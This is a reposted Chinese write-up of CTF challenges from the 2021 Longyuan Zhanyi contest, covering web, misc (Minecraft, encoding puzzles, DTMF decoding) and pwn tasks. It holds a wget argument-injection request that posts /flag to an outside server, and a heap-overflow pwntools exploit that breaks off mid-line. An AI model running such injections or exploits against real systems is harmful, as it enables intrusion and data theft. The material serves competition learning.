陇原战“疫“2021网络安全大赛Writeup

Posted Le1a

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了陇原战“疫“2021网络安全大赛Writeup相关的知识,希望对你有一定的参考价值。

Web

CheckIN

源代码的这两处:

先尝试访问/wget:/wget?argv=a,看出来这里应该是可以进行攻击的了

接着尝试利用wget的--post-file进行数据外带,读取源代码

在自己VPS开个监听并且构造:

/wget?argv=a&argv=--post-file&argv=/flag&argv=http://1.14.92.24:8008/

拿到flag:

flag{6e6f4abf-f38c-4d30-8ccd-e0bc0012a13f}

Misc

打败病毒

下载附件,发现是MC,根据描述来看应该是杀掉BOSS之后就能获得flag

进入游戏,首先肯定是要给自己来称手一把好剑啦,直接输入指令/give @p minecraft:diamond_sword 1 0 {ench:[{id:16,lvl:32727}]},想获得附魔的钻石剑,但是提示权限不过,应该是这个mod禁用了作弊。

但是这难不倒咱们老MC玩家了,直接选择对局域网开放,并且勾选上允许作弊,游戏模式选择创造模式,然后就能输入刚才的指令获得钻石剑了

这里是有一个穿越的门的,跳进去就会到另外一个时空,里面是有boss的,但是进去了之后我们在一个平台上,到达不了龙的位置,所以要进入创造模式,输入/gamemode 1,现在双击空格就能飞起来了

对着这条龙就是一刀斩!打死了之后有个墓碑,看起来也是一个传送门

进去之后,就提醒通关了,然后给了一串base编码

通过base62解码得到flag

flag为:

SETCTF{Fi9ht1ng_3ItH_V1rUs}

soEasyCheckin

下载附件得到一串base编码,但是直接解开会乱码,仔细观察发现其中夹杂着一个$符号

于是尝试去解前半部分的base,发现是base32

e5b9b3e7ad89e5928ce8b090e887aae794b1e5b9b3e7ad89e5b9b3e7ad89e887aae794b1e6b395e6b2bbe58f8be59684e5b9b3e7ad89e5b9b3e7ad89e6b091e4b8bbe585ace6ada3e695ace4b89ae5928ce8b090e69687e6988ee5b9b3e7ad89e788b1e59bbde585ace6ada3e695ace4b89ae585ace6ada3e8af9ae4bfa1e887aae794b1e5928ce8b090e6b091e4b8bbe5b9b3e7ad89e788b1e59bbde585ace6ada3e695ace4b89ae585ace6ada3e5b9b3e7ad89e5928ce8b090e69687e6988ee887aae794b1e58f8be59684e585ace6ada3e585ace6ada3e695ace4b89ae5928ce8b090e887aae794b1e69687e6988ee58f8be59684e6b395e6b2bbe887aae794b1e58f8be59684e585ace6ada3e585ace6ada3e58f8be59684e695ace4b89ae585ace6ada3e8af9ae4bfa1e887aae794b1e585ace6ada3e6b395e6b2bbe5928ce8b090e5928ce8b090e5b9b3e7ad89e695ace4b89ae6b395e6b2bbe5b9b3e7ad89e585ace6ada3e6b091e4b8bbe585ace6ada3e8af9ae4bfa1e887aae794b1e5928ce8b090e69688

hex解码得到:

平等和谐自由平等平等自由法治友善平等平等民主公正敬业和谐文明平等爱国公正敬业公正诚信自由和谐民主平等爱国公正敬业公正平等和谐文明自由友善公正公正敬业和谐自由文明友善法治自由友善公正公正友善敬业公正诚信自由公正法治和谐和谐平等敬业法治平等公正民主公正诚信自由和谐

核心价值观解码报错了,最后发现把最后的和谐两个字去除就行了

解码得到前半部分得flag:

SET{Qi2Xin1Xie2Li4-Long3Yuan

后半部分同样是base32,按道理来说可以直接解开,但是这里乱码了,原因是长度不够,于是在前面添上777

可以得到:

6988ee5b9b3e7ad89e58f8be59684e887aae794b1e585ace6ada3e788b1e59bbde585ace6ada3e6b091e4b8bbe585ace6ada3e58f8be59684e788b1e59bbde5928ce8b090e887aae794b1e5b9b3e7ad89e695ace4b89ae585ace6ada3e695ace4b89ae5928ce8b090e887aae794b1e6b395e6b2bbe8af9ae4bfa1e5928ce8b090

这里hex解码又是乱码,把第一个6删掉,再解码得到平等友善自由公正爱国公正民主公正友善爱国和谐自由平等敬业公正敬业和谐自由法治诚信和谐

再解码得到Zhan4Yi4},但是注意少了一个数字,因为每一个拼音后面都有一个数字,在前半段

flagSET{Qi2Xin1Xie2Li4-Long3Yuan中的Yuan后面肯定是有一个数字的,经过一个一个试,最终得到是2

所以完整flag为:

SET{Qi2Xin1Xie2Li4-Long3Yuan2Zhan4Yi4}

SOS

下载附件,又是MC,这次不是打怪了,这次一进去,就听到了拨号的音,然后旁边是 很多按钮,通过踩下这些按钮,旁边就落下来一些东西

通过这些就可以猜想 通过DTMF的脚本来识别这段拨号音频,得到按键的循序,通过这个顺序依次踩下按钮,用手机将音频录制下来,然后转为wav格式的音频

DTMF脚本地址:https://github.com/ribt/dtmf-decoder

DTMF脚本:

#!/usr/bin/env python3

import numpy as np
import matplotlib.pyplot as plt
from scipy.io import wavfile
import argparse

dtmf = {(697, 1209): "1", (697, 1336): "2", (697, 1477): "3", (770, 1209): "4", (770, 1336): "5", (770, 1477): "6",
        (852, 1209): "7", (852, 1336): "8", (852, 1477): "9", (941, 1209): "*", (941, 1336): "0", (941, 1477): "#",
        (697, 1633): "A", (770, 1633): "B", (852, 1633): "C", (941, 1633): "D"}

parser = argparse.ArgumentParser(description="Extract phone numbers from an audio recording of the dial tones.")
parser.add_argument("-v", "--verbose", help="show a complete timeline", action="store_true")
parser.add_argument("-l", "--left", help="left channel only (if the sound is stereo)", action="store_true")
parser.add_argument("-r", "--right", help="right channel only (if the sound is stereo)", action="store_true")
parser.add_argument("-d", "--debug", help="show graphs to debug", action="store_true")
parser.add_argument("-t", type=int, metavar="F", help="acceptable frequency error (in hertz, 20 by default)",
                    default=20)
parser.add_argument("-i", type=float, metavar='T', help="process by T seconds intervals (0.04 by default)",
                    default=0.04)

parser.add_argument('file', type=argparse.FileType('r'))

args = parser.parse_args()

file = args.file.name
try:
    fps, data = wavfile.read(file)
except FileNotFoundError:
    print("No such file:", file)
    exit()
except ValueError:
    print("Impossible to read:", file)
    print("Please give a wav file.")
    exit()

if args.left and not args.right:
    if len(data.shape) == 2 and data.shape[1] == 2:
        data = np.array([i[0] for i in data])
    elif len(data.shape) == 1:
        print("Warning: The sound is mono so the -l option was ignored.")
    else:
        print("Warning: The sound is not mono and not stereo (" + str(
            data.shape[1]) + " canals)... so the -l option was ignored.")


elif args.right and not args.left:
    if len(data.shape) == 2 and data.shape[1] == 2:
        data = np.array([i[1] for i in data])
    elif len(data.shape) == 1:
        print("Warning: the sound is mono so the -r option was ignored.")
    else:
        print("Warning: The sound is not mono and not stereo (" + str(
            data.shape[1]) + " canals)... so the -r option was ignored.")

else:
    if len(data.shape) == 2:
        data = data.sum(axis=1)  # stereo

precision = args.i

duration = len(data) / fps

step = int(len(data) // (duration // precision))

debug = args.debug
verbose = args.verbose
c = ""

if debug:
    print(
        "Warning:\\nThe debug mode is very uncomfortable: you need to close each window to continue.\\nFeel free to kill the process doing CTRL+C and then close the window.\\n")

if verbose:
    print("0:00 ", end='', flush=True)

try:
    for i in range(0, len(data) - step, step):
        signal = data[i:i + step]

        if debug:
            plt.subplot(311)
            plt.subplots_adjust(hspace=0.5)
            plt.title("audio (entire signal)")
            plt.plot(data)
            plt.xticks([])
            plt.yticks([])
            plt.axvline(x=i, linewidth=1, color='red')
            plt.axvline(x=i + step, linewidth=1, color='red')
            plt.subplot(312)
            plt.title("analysed frame")
            plt.plot(signal)
            plt.xticks([])
            plt.yticks([])

        frequencies = np.fft.fftfreq(signal.size, d=1 / fps)
        amplitudes = np.fft.fft(signal)

        # Low
        i_min = np.where(frequencies > 0)[0][0]
        i_max = np.where(frequencies > 1050)[0][0]

        freq = frequencies[i_min:i_max]
        amp = abs(amplitudes.real[i_min:i_max])

        lf = freq[np.where(amp == max(amp))[0][0]]

        delta = args.t
        best = 0

        for f in [697, 770, 852, 941]:
            if abs(lf - f) < delta:
                delta = abs(lf - f)
                best = f

        if debug:
            plt.subplot(313)
            plt.title("Fourier transform")
            plt.plot(freq, amp)
            plt.yticks([])
            plt.annotate(str(int(lf)) + "Hz", xy=(lf, max(amp)))

        lf = best

        # High
        i_min = np.where(frequencies > 1100)[0][0]
        i_max = np.where(frequencies > 2000)[0][0]

        freq = frequencies[i_min:i_max]
        amp = abs(amplitudes.real[i_min:i_max])

        hf = freq[np.where(amp == max(amp))[0][0]]

        delta = args.t
        best = 0

        for f in [1209, 1336, 1477, 1633]:
            if abs(hf - f) < delta:
                delta = abs(hf - f)
                best = f

        if debug:
            plt.plot(freq, amp)
            plt.annotate(str(int(hf)) + "Hz", xy=(hf, max(amp)))

        hf = best

        if debug:
            if lf == 0 or hf == 0:
                txt = "Unknown dial tone"
            else:
                txt = str(lf) + "Hz + " + str(hf) + "Hz -> " + dtmf[(lf, hf)]
            plt.xlabel(txt)

        t = int(i // step * precision)

        if verbose and t > int((i - 1) // step * precision):
            m = str(int(t // 60))
            s = str(t % 60)
            s = "0" * (2 - len(s)) + s
            print("\\n" + m + ":" + s + " ", end='', flush=True)

        if lf == 0 or hf == 0:
            if verbose:
                print(".", end='', flush=True)
            c = ""
        elif dtmf[(lf, hf)] != c or verbose:
            c = dtmf[(lf, hf)]
            print(c, end='', flush=True)

        if debug:
            plt.show()

    print()

except KeyboardInterrupt:
    print("\\nCTRL+C detected: exiting...")

使用终端命令:

python dtmf.py 1.wav

得到踩键的顺序后,依次踩下,即可得到flag

flag为:

SETCTF{C0M3_4nD_he1P_mE}

PWN

h3apclass:

首先分析题目,经典菜单题,不过没有show libc2.31

漏洞点在edit中,因为使用的是strlen,因此造成溢出。

leak_libc 部分: 通过溢出更改chunk的size为0x430直接进入unsorted bin

然后再不断申请切割该unsorted bin 以达到unsorted bin 与 tcache重叠的效果,最后爆破一位 1/16 出stdout leak出libc

get_flag 部分 :一开始用setcontext写的,但一直没有成。

后面想用environ泄露出栈地址,但因为没有show失败,

后来想到这个是题黑名单,只是禁用了execve。于是改free_hook为printf地址,然后给printf传入%15$p 泄露出栈上的地址,得到add函数的返回地址。

最后直接把orw链打入add的ret地址处,打印出flag。

exp :

from pwn import*

context.log_level = "debug"

io = process("./H3apClass")
#io = remote("node4.buuoj.cn","28143")

libc = ELF("./libc.so.6",checksec = 0)


def fuck(choice):
	io.sendlineafter("4:Drop homework\\n",str(choice))

def add(index,size,content):
	fuck(1)
	io.sendlineafter("Which homework?\\n",str(index))
	io.sendlineafter("size:\\n",str(size))
	io.sendlineafter("content:\\n",content)

def Add(index,size,content):
	fuck(1)
	io.sendlineafter("Which homework?\\n",str(index))
	io.sendlineafter("size:\\n",str(size))
	io.sendafter("content:\\n",content)

def edit(index,content):
	fuck(3)
	io.sendlineafter("Which homework?\\n",str(index))
	io.sendafter("content:\\n",content)

def delete(index):
	fuck(4)
	io.sendlineafter("Which homework?\\n",str(index))

def look():
	global io
	gdb.attach(io)

"""
def pwn():
	#gdb.attach(io)
	add(0,0x18,b"0"*0x18)
	add(1,0xf8,b"1"*0xf8)
	add(2,0xf8,b"2"*0xf8)
	add(3,0xf8,b"3"*0xf8)
	add(4,0xf8,b"4"*0xf8)
	add(5,0x28,b"a"*0x28)
	add(6,0xf8,b"5"*0xf8)
	edit(5,b"a"*0x20 + p64(0x430) + p64(0x100))
	edit(0,b"a"*0x10 + p64(0) + p64(0x430))
	delete(6)
	look()
pwn()
"""

def pwn():
	#gdb.attach(io)
	add(0,0x18,b"a"*0x18)
	add(1,0xf8,b"wangwang1")
	add(2,0xf8,b"wangwang2")
	add(3,0xf8,b"wangwang2")
	add(4,0xf8,b"wangwang2")
	add(5,0x28,"fuck_libc")
	delete(4)
	add(4,0x18,"eeeenb")
	add(6,0x28,p64(0)+p64(0x21))
	edit(0,b"a"*0x10+p64(0)+b"\\x51\\x04")
	delete(0)
	delete(1)
	for i in range(2,5):
		delete(i)
	for i in range(2,5):
		add(i,0xe8,"a")
	for i in range(2,5):
		delete(i)
	delete(6)
	delete(5)
	add(2,0xd8,"2")
	add(3,0x48,b"3")
	Add(4,0x38,b"\\xa0\\x36")
	delete(2)
	delete(3)
	#pause()
	add(2,0x28,"0")
	paylaod = p64(0xfbad1887)+p64(0以上是关于陇原战“疫“2021网络安全大赛Writeup的主要内容,如果未能解决你的问题,请参考以下文章

陇原战疫2021网络安全大赛 Web

2021 陇原抗疫 WriteUp

2021 长安“战疫”网络安全卫士守护赛 WriteUp

西湖论剑2021中国杭州网络安全技能大赛部分Writeup

2021年第二届赣网杯网络安全大赛MISC-Writeup

2021年“羊城杯”网络安全大赛部分Writeup